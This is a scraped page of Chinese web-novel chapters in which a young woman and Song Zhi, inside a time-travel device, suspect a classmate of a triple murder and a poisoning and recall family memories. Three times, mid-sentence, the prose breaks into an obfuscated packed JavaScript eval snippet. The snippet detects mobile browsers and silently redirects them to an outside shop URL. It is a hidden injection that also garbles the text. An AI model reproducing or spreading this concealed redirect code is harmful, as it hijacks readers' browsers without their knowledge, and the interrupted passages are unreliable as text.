见黎从新撸起袖子,向前冲的架势,一副要干架的模样。 可是,聪明的人不难发现,他并未往前挪动半步。 雎安此刻神经过于紧绷,并没有注意到那些细节,被唬地往后退了一步。 黎正察觉到对峙双方的外强中干,索性上前,一把拦住黎从新,“算了算了,一笔勾销算了。你不说我们的事,我们也不说你的事。” “可以是可以。但是话得说清楚,不是我想整你们,是你们欺负同学,还想造谣我恋爱在先,我反击在后。所以,只要你们不惹我,我还懒得理你们呢。” 语罢,雎安还硬扣下李云宇,让他去打扫卫生。 所谓初生牛犊不怕虎,长出犄角反怕狼。 要是24岁的雎安在场,必定会倒吸一口凉气,不明白当时的自己怎么会这么勇。 后来,雎安回忆那天发生的事,只记住了那三个曾恐吓过她的痞子少年。而留存在卢宇年的记忆里的,是那个为他挺身而出的少女。 92. 乱掉的心跳 白驹过隙,忽然而已。 雎安被那只突然从草丛里蹦出来的猫吓到后,刹那间,想起了那只张牙舞爪的凶巴巴的白猫,在那之后,黎正还抓着那只猫来堵过她。 不对,雎安仔细回想,他不是抓着猫,而是抱着,左手还帮它顺了顺毛。 不过,重点不在这。 事发后的第三天,雎安因为要确保板报完成的进度,回家的时候已是天色大暗,路上行人寥寥无几。 黎正在她回家的必经之路堵她,他问她为什么不守信用、出尔反尔、将死飞的事情告诉老师。 她当时冒了不少冷汗,说她没告诉老师。 他深深地看着她,一动不动。 直到雎安再一次强调她没有告密,黎正才叹了口气,提醒她黎从新和李云宇正气头上,劝她最近要搭伙回家,而后便头也不回地走了。 在那之后,雎安意识到,黎正和另外两人是有些不一样的。 ———————— 高一那年,学校后门对面的小吃街上,雎安失神中,被一边转动着摩托钥匙一边往外走的少年给撞了一下。 那男生连一声道歉也没有,看也没看雎安一眼。 雎安正想张口吼他一句,看到对方是个健硕的黑皮肌肉男且步伐豪迈地走向另一名蓝毛少年的时候,又不自觉地闭上了嘴。 这反应几乎是下意识的,意识到自己的变化,雎安双肩耸拉下来,心中涌上一股莫名的伤感。 初三的时候,她就卸任了所有职务,专心备考初升高的考试。但结果却不太理想,她只压着线考上了重点高中里分数最低的一所学校,而她在当班干部的前两年里,受老师重用,有不少同学因此嫉妒和讨厌她。 父母的失望和训斥,老师的摇头和叹息,同学的嘲笑和阴阳,让她尚不成熟的心智受到重创,逐渐收敛起自己的本性,放弃了做自己,变成了一个毫无存在感且不敢说“不”的乖乖女。 所谓成长的代价,就是这样吗? 直到听到一声惨叫,雎安的注意力才被重新拉回现实。 那是一只猫的惨叫声。 可现在,路面上没有任何小动物的踪影,雎安看向左侧,什么异样都没有,转而看向左侧,就这么对上了一双略有些熟悉的黑眸。 卢宇年的眼睛已经不似当年般澄澈,仔细瞧,反倒有些像当年的那只猫,满是戾气和警惕。 “我去,你一脚给踢进去了?” 李博勤不可置信地问卢宇年,因为他刚刚亲眼看到他一脚将一只肥硕的白猫揣进了草丛中。 “谁叫它乱跑,我最看不惯野猫,没叫保安把他抓了就不错了。”卢宇年说话时,眼睛瞥了眼李博勤,而后,又将视线转回到了雎安身上。 雎安抓着书包背带的手不易察觉地颤了两下,强装镇定地收回视线,把卢宇年当作隐形人,步伐平稳地往学校后门的方向走去。 李博勤朝着卢宇年的视线看过去,正好看到雎安扭头前的面容,“唉~美女美女,你好眼熟哦,我见过你吧。” 闻言,卢宇年扭头看他,带着隐隐的不快。 黑皮张承来到李博勤身边,带着看热闹不嫌事大的坏笑,揶揄道:“难道是把女朋友给忘了?” 李博勤一向是个迟钝的,还没反应过来,“不是,我真见过她,想不起来了。” “见过就见过,这世上这么多人,你见过的人多了去了,大惊小怪的。”卢宇年轻蔑地撇了撇嘴,眼中有鄙夷的意味。 意识到卢宇年情绪不对,张承笑嘻嘻地继续抽他的烟,李博勤则选择了闭嘴。 见状,卢宇年冷哼一声,转身去看不远处的学校后门,那已经没有熟悉的身影了。 ———————— 就在刚刚,警方公布了三名死者的身份信息。 黎某,男,18岁。黎某新,男,18岁。李某宇,男,18岁。 三名受害者都是案发地附近村庄的村民,目前大专在读,父母都在一个月前报过失踪。经初步鉴定,三名死者的死因为机械性窒息死亡。目前,案件仍在进一步侦办中。 警方提示:请勿轻信网上莫须有的猜测和谣言,请勿传播未经核实的涉案图片、视频等,不造谣,不传谣,不信谣。 雎安读完这一篇警情通报,心情很是复杂。因为她大致猜到这三个死者是谁了,也在心里有了对凶手身份的猜测。 回想起卢宇年多次突然的情绪失控,以及欺负弱小时的暴戾状态,如今脑海中不自觉地浮现出他杀人的画面,雎安一连打了好几个寒噤。 “所以,你是觉得他暗恋过你?”宋挚的眉头紧锁。 “不一定是喜欢,但肯定有格外留意我。”雎安表情严肃地分析道:“毕竟我帮过他,而且那时候他很懦弱,被人欺负成那样都不反击,而我敢于表达和争取。之后,我们像是反过来了一样,我变得胆小怯懦,而他却十分张扬。” “如果我是他,我也会留意。”宋挚叹了口气,左手撑着脸,食指指腹轻敲着颧骨的位置,“那他会是凶手吗?” 如果杀害黎正他们的凶手是卢宇年,那么雎安又多了一重保障,假若毒品案调查不顺,她可以选择从这件事入手,将卢宇年送进监狱。 “不一定,但大概率是吧。”雎安有些兴奋,“等我回去以后,我认真查查新闻,应该能搜出来。如果这变成了一件悬案,那大概率就是卢宇年做的。” 可突然间,雎安意识到了什么。 “不对哦,尸体是在我们学校外围发现的,发生这么大的事,我应该多少知道点。”雎安舒展开的眉头又逐渐锁到了一起,“可我根本没听过。难道,这是只在装置里发生的事?” 宋挚察觉到雎安的担忧,直起身后,朝她那边靠近了些,右手从桌底下穿过,握住了雎安发凉的手。 “我也没听过这个案子。不过,不论有没有这个案子,都不影响你稳步推进。而你呢,不要多想,等回去以后查一查就行了。” 宋挚的笑容很浅,但眼角眉梢的笑意却如栀子花香般浓郁,他的声音很柔,如涓涓细流般在她耳边流淌,“不要提前焦虑,有时候选择多了,未必是好事,反而会分心。” “嗯。” 雎安垂眸一笑,手上故 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16666579|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意使了几分力,她本想以此刺激刺激宋挚,看看他的反应,没想到宋挚却时没有任何反应,一直半眯着笑眼注视着她,一副任她胡闹的姿态。 而她,通过和他交握的掌心感受到了他的体温。 以及,她乱掉的心跳。 ———————— “话说,沈薇怎么还没回来?”刘礼晨看着沈薇空荡荡的床位,有些不习惯,“昨天她说要回趟家,就一直没回来了。” 韩婕往脸上抹防晒霜,语气无所谓地道:“很正常啦,自从校外发现尸体,上周末很多人回家以后就请假待在家里了。你没看到今天早上的教室啊,至少有三成的人没来,估计是家长不放心,觉得凶手没抓住,学校和学校附近都不安全。” “也是,要不是舆论发酵得厉害,警方也不会出这份警情通报。”刘礼晨点开手机,又看了几眼那份蓝底白字的通报,这才注意到它已经冲上了华州市的热度榜榜一。 “为什么没热度就不出这份通报啊?”雎安不解。 “因为还没抓到凶手啊。” 刘礼晨在宿舍打了几个转,转到雎安身边,一边解答,一边欣赏起雎安桌上那一束洁白的栀子花来。 “网上又有各种诡异的猜测和谣言,说得特别玄乎,校方一再噤声都压不下来,我猜警方也不会这么快就出通报,还特地写不要信谣。” 雎安这才想起,上次离开前,沈薇是因为在网上发布了信息,说她在甘蔗林里看到过一双诡异的眼睛,所以才被警方和辅导员叫去问话的。 韩婕涂完防晒后站起身,在衣柜最下方拿了双袜子往脚上穿,手上虽是在不停忙活,却一直有在注意她们这边的对话,“我看啊,沈薇就是因为传谣被叫去问话,问完话后被家长带回去教育。不然在这节骨眼上,她昨晚夜不归宿,辅导员怎么会问都不问一句啊?” 一时间,雎安对韩婕的敏锐和分析能力感到敬佩。 只是,她是宿舍里唯一知道沈薇被叫走问话的舍友,所以她不能顺着韩婕的话应承下去。以免沈薇回来后,误以为是她在大家面前说她散布谣言被带走问话的事,因此心有芥蒂。 “我昨天下午和她一块,她离开前说是有事回家一趟,可能家长和老师请过假了,所以才没有追问我们。” “啊?是这样啊。”韩婕没往心里去,拿起包包就要开门往外走,却被雎安一声叫住。 “你可别在外说沈薇的事,尤其是社团里的人,他们都是听个热闹,嘴都没个把手的。毕竟那天晚上很昏暗,只有车灯一晃而过,说不定真的只有她看见了那个躲在甘蔗林里的人,是我们没看见而已。别到时候因为这点小事,弄得宿舍气氛尴尬,毕竟我们还要相处两三年呢。” 刘礼晨起身,疯狂点头,“是啊是啊。” 韩婕摆摆手,有些无语地道:“知道了知道了~我又不是沈薇,哪会像她一样到处说。你都不知道,出事后她就总在网上发鸡公煲那晚的事,说得贼神乎,我都在校园论坛刷到好几次了,她也不怕警察和辅导员盯上她,我可不敢这么张扬。” 语毕,韩婕关上门,离开了宿舍。 93. 有两个宋挚的话,该怎么办?^…… 2017年9月16日,周六。 雎安的屏保是上次在蓉湖公园里被大叔抓拍到的那张照片。 这张照片,雎安每次看到都会觉得很幸福。 “要是能把这张照片带回现实就好了。”雎安的声音里满是遗憾。 宋挚唇角微微勾起,笑道:“要是能带出去,你不该是想带我吗?怎么能是这张照片呢?” 这......是在和照片吃醋? 雎安笑了,故意问道:“那有两个宋挚的话,我该怎么办?踹掉他,选你?” 闻言,宋挚垂眸沉思,雎安不懂这有什么好思考,但宋挚似乎真的在仔细地想这个问题。 “不如都收了吧。”宋挚语出惊人,“反正都是我,反正都是宋挚。” “!!” 玩笑过后,宋挚开车带雎安离开学校,去了张记酒家,开了个包厢。 “啊?!三个人能开包厢吗?”雎安已经在房间内落座,但仍问道:“还有其他人?” 宋挚摇头:“没有。我就约了李豫,想着和他聊聊他父亲李松柏和卢宇年的事,待会儿他来了,你就进这个小隔间,也可以听得到我们说话。” “或者,你想和他聊聊吗?” 雎安蓦地摇头,“不了,要是看到我一个陌生人在场,他故意更加防备,没办法和你好好聊。” “好。”话语间,宋挚开好了小包厢里茶室的空调,还让服务员给雎安拿了一条毛毯。 宋挚所开的包厢,是张记酒家最豪华的中式园林系列的宋式主题包厢。 整个包厢是以棕灰白为主色调,包厢正中挂有一张水墨画,两侧放置有瓷器摆瓶和小壁画,中间摆有一张瓷白色的圆形转桌,转桌左侧有一个小隔间是茶室,右侧有一个隔间是服务间,也就是服务员待命的地方,连着门外就是走廊。 “饿吗?”宋挚不无担心,“要不要点些菜进来?” 雎安坐在红木椅上,仰头看着宋挚,笑着问道:“这的隔音太好,待会儿你得留门缝给我,不然我都听不见,点菜的话,饭菜不就暴露了我吗?” 最后是宋挚坚持,点了两盘糕点,还点了三壶茶,一壶给雎安,另外两壶放在外厅的转盘上。 结果,李豫迟到,说是还有一个小时才能到。 雎安和宋挚便坐在茶室里大快朵顾,一口糕点一口茶,边吃边猜测李豫会不会爽约。 “他啊,很拧巴,而且还总有些没用且无厘头的点子。” 宋挚无奈地笑笑,“不过,在我的印象中,他人不坏,而且算是敢表态的那种人,偶尔还很有个性。我觉得,他不可能喜欢和卢宇年他们走在一起,从鸡公煲那次也看得出来,卢宇年一点都不尊重他,他也变现得并不高兴。如果他是不想,但又非得和卢宇年打好关系的话,那多半是李松柏的叮嘱。” 李松柏,是碳酸钡中毒案的受害者之一,因为摄毒量不大,很幸运地存活了下来。 “毕竟,李松柏是依仗卢震南做大的生意,他希望自己的儿子和大老板的儿子处好关系,也算正常。” 宋挚说话间,雎安想起了她在张记鸡公煲碰到卢宇年和李豫的那次。 卢宇年说:“都是当狗,你爸可比你机灵多了。” 当时,雎安在李豫冷冽的双眸中,感受到了他的愤怒和仇恨。 “说真的,我觉得李豫很讨厌卢宇年,甚至是厌恶。如果碳酸钡中毒案的真凶是卢宇年的话,李豫肯定会尽一切可能搜集证据,然后寻找合适的时机给出去。” 宋挚语毕,雎安肯定道:“我也这么觉得。” 总而言之,宋挚和雎安怀疑碳酸钡中毒案和校园三尸案的真凶都是卢宇年,再不济,也和卢宇年有着密切的关系。 室内茶香萦绕、温度适宜,若是面前有一张软床,大可酣然入梦,沉重的话题早已和如此清雅随性的环境格格不入。 “阿挚,我们不说案子了。”雎安的双手握着暖烘烘的茶杯,“说说你进装置的事吧,上次你没来得及和我讲,我很想听呢~” 隔着氤氲的水汽,宋挚注视着眼前那道朦胧的身影,目光极致温柔,“好,我也正好想讲给你听。” ———————— 2008年,除夕前夜,晚上八点。 宋言林难得焦躁,在家中踱步,“阿挚到底去哪儿了?要不现在出去找找吧?” 邓玉瑛默默咀嚼,笑着摇头,“下午的时候,阿挚说了,他晚上八点半前一定回来。” “可他才八岁,我担心啊!”见妻子格外淡定,宋言林在她身边坐下,问道:“宝,你怎么一点都不担心?” 邓玉瑛放下碗筷,待食物被咀嚼吞咽,才开口道:“我担心啊,但我也相信阿挚,我相信他不是去做什么危险的事了。” “可是......”宋言林的疑虑并未消退,“这年头有人贩子,我还是不放心。” 虽然知道宋挚是和三个同龄人结伴出行,但总归是要各自回家,宋言林坐立难安,最终还是起身,拿起玄关柜上的车钥匙,打开门往外走。 见丈夫如此焦灼,邓玉瑛的情绪也受到了影响。 “等等我,我和你一起出去。”邓玉瑛果断起身,套上大衣、穿上雪地靴,一边暗自嘀咕丈夫是不是没等自己,一边推开了家门。 “妈!” 一声洪亮的叫声让邓玉瑛的唇角攀升。 “我送你一个惊喜。” 宋挚咧着嘴笑,有些不好意思又有些得意地往后退了三步,露出了放置在不远处的腊梅。 他转头看了眼身后的父亲宋言林,再转而对着母亲道:“爸、妈,明天就是除夕夜了,这是我给你们的礼物。” 语毕,宋言林和邓玉瑛眼眶中都已有泪意,但宋挚仍不罢休,以最童稚真诚的表情说出了感人肺腑的话,“我爱你们~” “这是我去的第一个时间点。”宋挚靠坐在木椅的软垫上,姿态放松,“我记得花市距离我家有三公里,我和三个伙伴怕买花的钱不够,就决定走路去,结果去到的时候,鲜艳的花基本都售空了,没买成。所以,这次我提议打出租车去花市,钱不够就走路回家。” “借助装置,我送出了这个未能送出的惊喜。”宋挚的笑容中带着些许伤感,“然后,我妈就很激动地说,我不愧是他们的挚爱。” “所以......”雎安捕捉到了关键信息点,“宋挚的挚,是挚爱的挚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16676359|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “对。”宋挚笑容中的伤感褪去,变成了些许羞涩,“但我一般介绍都说,是真挚的挚。” 片刻的沉默。 雎安笑着感叹道:“真好,这名字真好~” “安安。”宋挚突然伸出手。 “嗯?”雎安不解,但还是往前探身,将自己的手递了出去。 而宋挚,毫不犹豫地握住了她的手,坚定道:“你是我的挚爱。” 2012年,中秋节。 宋挚带着一盒月饼和一盒盐焗鸡爪来到雎安家门前,深吸一口气,敲开了雎安的家门。 开门的是一个瘦削的女人,她面带嗔怒,一副就要质问什么人的模样。 宋挚愣在原地,但不过三秒,便极有礼貌地问候并说明了来意。他说他是雎安的同班同学,手中的礼物是之前雎安乐于助人的答谢礼,而当雎安母亲细问起雎安做了什么的时候,他便随口编了个故事。 “唉~可惜她现在学坏了,刚刚偷了一百块出门,人找都找不到!” “啊?”宋挚很是意外。 他记得,雎安和她说讲过几次,2012年的中秋节,她的父母让她伤透了心。 原因是她想提前吃一小块月饼和吃一些鸡爪来解解馋,结果是父母训斥她,还当着亲戚的面扇了她一个巴掌,她非常生气、非常难过,后来父母让她出来吃月饼的时候,她直接把门反锁了。 所以,2012年的中秋节,她没吃到月饼,却有满腹的委屈和伤心。 宋挚来到这个时间点,就是希望能阻止雎安的父母打她的脸。因为打耳光这种事在他看来,是非常羞辱和伤害自尊心的行为。 “没什么,可能是有误会。”邹伟聪怒瞪纪小梅,纪小梅突然意识到家丑不可外扬,改口解释道:“好像是我前几天答应过给她的,晚点我问问。” 随后,纪小梅和邹伟聪礼貌地离别了宋挚。 宋挚眉头紧皱,看着眼前这道紧锁的大门,陷入了沉思。 很快,电话响起,舅舅邓庆生问他人在哪,让他到医院来。而他在医院里,意外地见到了初中时的雎安。 “等等!”雎安惊觉,“这个时间点,在医院里的人是我。” “原来我们在拥抱之前就见过了!” 宋挚的眼眶微微泛红,“没错,当时我就发现了。那时候,我就很想上前抱住你,我想告诉你,我来找你了,我很想你,我爱你。” 难怪,她当时总觉得他的眼睛似有情、似有泪,如同此刻他望着她的神情般。 “但那时以我们的年纪和身份,连拥抱都不合时宜,我怕会吓到你。所以,我克制住了自己。” 雎安很少会直勾勾地看着某个人,即便是家人、朋友,亦或是互通心意后的他们,她总是会下意识地躲开持续的眼神交流。 而当下,她目不转睛地看着宋挚,落下了眼泪。 “你怎么了?”宋挚果断起身,走到雎安身边,蹲下,担忧地询问道:“难过了?” “不是,我是感动。” 决定去救叶扶英是她的突发奇想,她没有和宋教授提前说好。 所以,那次相遇是命运的指引、宿命的相遇。 94. 命运,终归掌握在自己手里。^…… “我一直好奇,你是怎么判断出装置里的我是机器运转还是真人的?” 因为雎安发现,即便他们还没有眼神和话语的交流,宋挚都能很快地判断出“她”是“她”,而她却不能。她只有通过交流,才能知道是设定还是真人。 “我进入的装置毕竟是改进过的,于你而言,是未来的装置。功能会比较完善,我是能看到我当下遇到每个人是设定还是有真人进入的。” 此刻,宋挚已经坐回到了沏茶的位置,为雎安倒了杯红茶。 “那你岂不是......”雎安一下想到现实中宋挚提到过的那个计划,却被宋挚直接打断。 “我知道你想说什么。”宋挚眉目下垂,神情变得有些木然,“我试过了,2017年6月8号,我见到了我妈,而且系统显示是真人、而不是设定,我当时很激动,认定这计划肯定是成了。” “可是......现实没有发生变化。” 宋挚叹了口气,“我妈是2021年6月份进入的装置,我猜想,期间她经历了多次麻醉和大量的药物维持。2023年初的时候,她大病初愈,兴许是记不清装置里的事了。” 也是,哪怕是身心健康的人进装置,都会有明显的恍惚感,而邓玉瑛进装置时的身体情况几乎处在最糟糕的时候,而后,她又经历了两年的治病和疗愈时光。 兴许都不是记不清,而是全忘了。 “好可惜。”雎安的声音里满是惋惜,“按理来说,这方法是能成的。” “是啊,”宋挚苦笑,“或许......这就是宿命吧。” 语毕,宋挚才意识到自己说错话,室内的气氛像是被冰封住了一半,他和雎安都没有说话、没有冒然地劝慰对方。 “我很喜欢一段话。”雎安打破了沉寂,“人的结局都是一样的。生和死,是宿命。但是过程的体验如何,是数以万计的选择构成的。命运,终归掌握在自己手里。” 雎安歪头,朝宋挚展露笑颜,“就算最终的结果不如我所愿,我也要让过程足够绚烂、不负此生。” “不行,你不能放弃!”宋挚却理解成了雎安心灰意冷、打算在死亡到来前极尽享乐,“我妈是因为生病了,安安你头脑清醒、一定可以的!” “我不是要放弃~”雎安失笑,笑得比方才轻松了些,“我的意思是,不论结局如何,我都会拼尽全力。” 换作往常,宋挚定能明白雎安话中的含义,而此刻,因为爱之深,反倒让他的头脑短暂宕机了。 “也是。”宋挚低头,扶额轻笑,好似在笑话自己,“你能为了正义投身黑暗,又怎么可能会轻易放弃?” 雎安见宋挚的情绪愈加低落、有要沉沦在过往回忆里的迹象,故作轻快道:“是啊,所以你要相信我,相信我可以。” 而后,又迅速转移话题,“对了,你还没说完呢,接下来呢?接下来你做了什么?讲给我听呗,我都想知道。” ———————— 2021年5月5日,立夏。 这时的邓玉瑛病情加重,本该在医院病房里好好休息的她,却惦记起郊区院子里的芍药。 这是芍药花开的时节,院子里的景色该有多美啊~ 于是,宋挚负责开车,宋言林和护工负责照顾邓玉瑛,邓玉瑛则负责带着满腹期待,一行四人就这么擅自离院、前往郊区民宿。 住家保姆听到车库有声响的时候,惊得鸡皮疙瘩暴起,一度以为是进了什么贼人,直到看到宋家一行人,才彻底放下心来。 她万万没想到,生重病的太太竟然能回来。说实话,她觉得太太的情况并不太乐观。 “董姨,你有照顾好我的芍药吗?”邓玉瑛唇角含笑,精神看着还不错,“应该都开花了吧?” “开了开了~”董姨指着院子的方向,道:“花园里的座椅我也擦得很干净,你们直接过去赏花就行了,我去给你们泡点茶。” “不,不要茶。”宋挚叫住董姨,“煮点苹果红枣水吧,谢谢。” “好!” 见还有护工在旁,董姨没有上前去帮忙,而是选择转身离开,去做自己的本职工作。 苹果红枣水,虽然做起来没有难度,但要想煮得入味且易入口,一是需要放少许冰糖,二是需要煮20分钟以上。 等待期间,她还做了一壶柠檬水,以及将包装糕点拆出来摆盘,变成一盘精致的下午茶糕点。 董姨眼前的糕点拼盘,有些心虚,但又觉得这是无奈之举,谁叫没人提前通知她呢。不然,她可以提前做一盘手工糕点。 “来了来了。”董姨喊了一声,但声音并不尖锐,“这是苹果红枣水,这壶是柠檬水,这是一盘小糕点。” 语罢,她将东西都放在花园里的小桌子上,“还有什么需要的话,随时喊我,我去厨房准备晚餐。” 董姨注意到,太太坐在院子里的红椅上,先生坐在太太的右侧,小宋先生则站在太太左侧,而护工早已不知所踪。 见此场景,她立即明白过来,人家是想一家三口慢慢赏会儿花。于是,不等任何人开口,便识趣地离场了。 “妈,不要丧失信心,您一定会痊愈的。” 宋挚笃定的语气让邓玉瑛失笑,她仰起头,笑道:“好,妈妈相信你。” “妈,我不是安慰你,我是说真的。”宋挚蹲下身,右手抓着红椅的扶手,道:“您精神头很不错,心态又好,以后只会越来越好。” 邓玉瑛闻言,伸出手将宋挚扶着红椅的右手移到膝盖处,再用些许发凉的双手裹住儿子温热的手,“宝贝阿挚,不要焦虑,妈妈活在当下,过得很好,现在就很幸福啊~” 说着,邓玉瑛转头,朝宋言林笑了笑,“你们看,宽敞漂亮的房子,像公主裙摆一样美丽的芍药,家人都在身边,还有这么多人一起照顾我、祝福我。” 活在当下。 宋挚没想到,他反倒被母亲安慰了。 “虽然,因为生病,我有时候会控制不住情绪。但我能感受到你们的支持和包容,而且我真的觉得,还活着,有呼吸,有希望,就是很幸福的事了。” 谁都没有说话,良久,宋言林倾身上前,在邓玉瑛额头上落下一个吻。 “但你能不能答应我?以后不要随阿挚一起淘气了。”宋言林语带嗔怪,语气极尽温柔,“得好好治疗,怎么能说跑就跑呢?” “可我觉得……”宋挚少有的强势进入父母的对话,“得以妈的意愿为准,如果她觉得在这养病更开心、更幸福,我们可以请医生……” “你在说什么?!”宋言林直接打断,不可置信地看着儿子,眉头紧蹙,眼神变得格外凌厉。 宋挚早就猜到,他父亲会把他的话当成让母亲放弃治疗的胡话,所以对父亲的气恼无甚反应。 他自顾自地解释:“我的意思不是不治疗,而是选择更保守的治疗方式,能让妈以更好的精气神,有更多的时间来享受生活。心情好了,病能好得更快。” 邓玉瑛微笑着注视着儿子,没有说话。 宋言林却是闭上了眼,抬手捏了捏山根,思索后,道:“阿挚,你说的这个,如果是用来日常养生和预防疾病,肯定是可以。但现在你妈妈生病了,需要的是治疗、最好最有效的治疗。你先暂时别出主意了,好不好?” “可……” 宋挚想要反驳父亲,本意是想让母亲早点转到院子里来养病,少受一个多月的苦,却被母亲开口打断。 “阿挚。” “嗯?” “你不亏是妈妈的宝贝。”邓玉瑛笑得双眼都变成了弯月,笑容很是甜蜜,“说实话,我真的不喜欢医院里那压抑的氛围,总是能听到哭声和痛呼,影响我的心态。所以,我就暗自计划着,等治疗完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宋挚起身,忍着长时间下蹲引起的酥麻感,走到书房拿了画纸、画板和彩色画笔,待酥麻感彻底消失,便健步如飞地带着东西回到院子里,还给自己搬了张椅子。 在他专注画画的时候,他仿佛去到了另一个世界,他听不到父母和保姆的交谈声,看不见跟前争相斗艳的芍药们,闻不到从厨房飘至屋外的饭菜香,完成沉浸在自己的创作中。 直到,日暮西沉。 “妈,你看!” 邓玉瑛仍坐在椅子上,只是背部多了个靠枕,腿部还多了条粉色的毛毯。在他专注于画画的时候,她大概率起身走动过、吃了些久违的零食。 “这就是我喜欢的人。” 宋挚走到母亲跟前,在她充满爱意的注视下,将画递给了她。 “她叫雎安,邹雎安。” 宋挚小时候学过彩铅画,虽然只是兴趣,不敢说画得比照片好看,但画功仍在。 原图是宋挚正牵着雎安飞奔在绿茵道上,雎安的大部分面容被洁白的栀子花和随风扬起的头发给遮挡,而在宋挚的画中,他弱化了自己的存在,将雎安那被花遮挡的美丽面容给完整得画了出来,还将她的笑容描绘得比她手中的花束更为璀璨。 不知不觉中,邓玉瑛落了泪,“名字很好听,是哪几个字呢?” “雎是关关雎鸠的雎,安是岁岁平安的安,雎安。” “雎,安。”邓玉瑛跟着轻念,满是泪水的眼眸紧盯着画作,忍不住感叹道:“是这么美好的女孩子,妈妈也就放心了~” 自生病以来,邓玉瑛变得尤为多愁善感,伤心的、难过的、开心的、感动的、甚至是莫名其妙的事,都能让她落泪。 宋挚知道,母亲此刻必定是感动而又惆怅,哪个父母不想亲眼看看孩子未来的伴侣呢?而当下,她的身体状况并不乐观。 宋挚想为母亲擦拭眼泪,却发现纸盒已经空了,遂起身去客厅拿纸,而当他再次推开由客厅通往小院的门,发现母亲仍以他离开时的姿态注视着画作、一动不动。 于是,他转身,回到客厅,给母亲留了空间。 95. 难道你打算永远待在装置里?^…… 2023年5月8日。 宋言林依照计划,进入装置,来到了装置内的2021年5月5日,也就是立夏这一天。 令他十分意外的是,他竟然不是出现在医院,而是在郊外的别墅里。 “再蒸条鱼,您看可以不?”董姨热情地询问,“份量肯定是够的。” “可以。” 宋言林随口应完,转身往院子那走,透过落地窗,他看到自己的妻子正拿着画板、聚精会神地欣赏着一幅画,护工就站在她身后不远处。而他的儿子宋挚,就站在落地窗前,背对着他。 “阿挚,让一让,我要过去。” 装置是他心血,他对此也算是了如指掌,但他毕竟是第一次进装置,面对如此逼真的场景和人物,还是会感到一阵恍惚。 宋言林刻意地拍了拍宋挚的肩,发现就连触感都是如此得真实的,面上还是不受控地露出了一丝讶异。 “宋教授。” “嗯。嗯?” “我有话和您说,麻烦您来一下书房。” “所以......”雎安瞪大了眼睛,“宋教授找我来实验,是因为你,因为你去找了他!” “你是怎么让宋教授相信你的?”雎安感到不可思议,“毕竟,宋教授在实验注意事项里可写了,装置里的世界是虚拟世界,如果里头有人对他说这么荒唐的事,他的防备心和警惕心肯定非常高。” 宋挚颔首,笑道:“安安,你说得没错。” “宋教授的防备心是非常高,我说事情的时候,哪怕没看他,都能感受到他内心的纠结和抗拒。可我不是叫他爸,而是叫他宋教授,这是我在我妈死后,因为对他心生怨恨才改的称呼。2021年的我,哪怕是在学校,也只叫过他‘老宋’,绝不会是生疏的宋教授。” 雎安歪头,“因为一个称呼,宋教授就信了?” “半信半疑吧。”宋挚注意到雎安的茶杯空了,又为她填上热茶,“反正,只要他认真地听完了我的计划,并且记住了我的叮嘱。我猜他肯定会回现实验证一番,看看到底有没有邹雎安这个人,包括我说的几个案件,是否能链接上。” “赌的成分很大呢~”雎安撇了撇嘴,总觉得这个故事哪里怪怪的。 宋挚轻笑,“我了解宋教授的个性,对我来不说不算赌。不过,就算是赌,赌赢了就行。” 嘟~嘟~嘟~ 是座机的响铃声。 宋挚留过话给服务员,让她在李豫到店后、先给他打个电话,再将李豫带到包厢来。 “我得出去了。”宋挚起身,摸了摸雎安的头,“有事就发短信给我,我会一直留意。” “好~”雎安故意拍他的手背,“去吧,我又不是小孩子了。” 接着,便是推门声,以及宋挚和李豫的一阵寒暄。 宋挚问李豫的工作如何,李豫问邓玉瑛的病情好转与否。 雎安在另一个房间里听着,无聊地翘起了脚,明显是对这些内容不感兴趣。 直到......宋挚进入正题。 “对了,你爸最近的生意如何?”宋挚问道。 李豫一怔,随后答道:“最近还行。” “还是做出口吗?” “嗯。” “出口什么?” “日化用品之类的。”李豫叹了口茶,“怎么,你有兴趣?” 宋挚摇头,示意李豫喝刚上的石斛陈皮雪梨汤,“听说伯父和安娜维诺公司的合作紧密,我是对安娜维诺这个公司有兴趣,他们不是在招研究员吗?” “可我怎么记得,你说你要读研来着?”李豫接过已经盛满的汤碗,向宋挚道了声谢,而后道:“而且我们才大一。” 宋挚放下汤勺,将自己的汤碗摆正,笑道:“是有可能会读研,甚至有打算读博,但最后总得工作,我想多做打算。” “说实话,我不太喜欢卢宇年的个性。不过,如果以后想去安娜维诺,我觉得我得主动和他处好关系。” “别想了,安娜维诺不是什么好公司。”李豫说得极为肯定,“以你的本事,不如好好精进学业,以后当大学老师,或是去研究院。” “为什么这么说?”宋挚的动作始终没停下,不是吃点东西,就是喝点汤,“我看发展前景挺好,应该能开出百万年薪。” 闻言,李豫冷嗤一声,“我不懂产品这块,反正我爸都说不太行,但为了赚钱,也就无所谓了。我劝你就不要去,卢宇年嫉妒你和浮沉,要是你在他手下工作,肯定会给你使一堆绊子。” 卢宇年嫉妒他和周浮沉,这点宋挚能感受到,只是不太理解。 “而且,他吸毒,圈子不干净,最好不要有太多来往。” 语毕,李豫夹了两块牛肉,吃了口米饭。 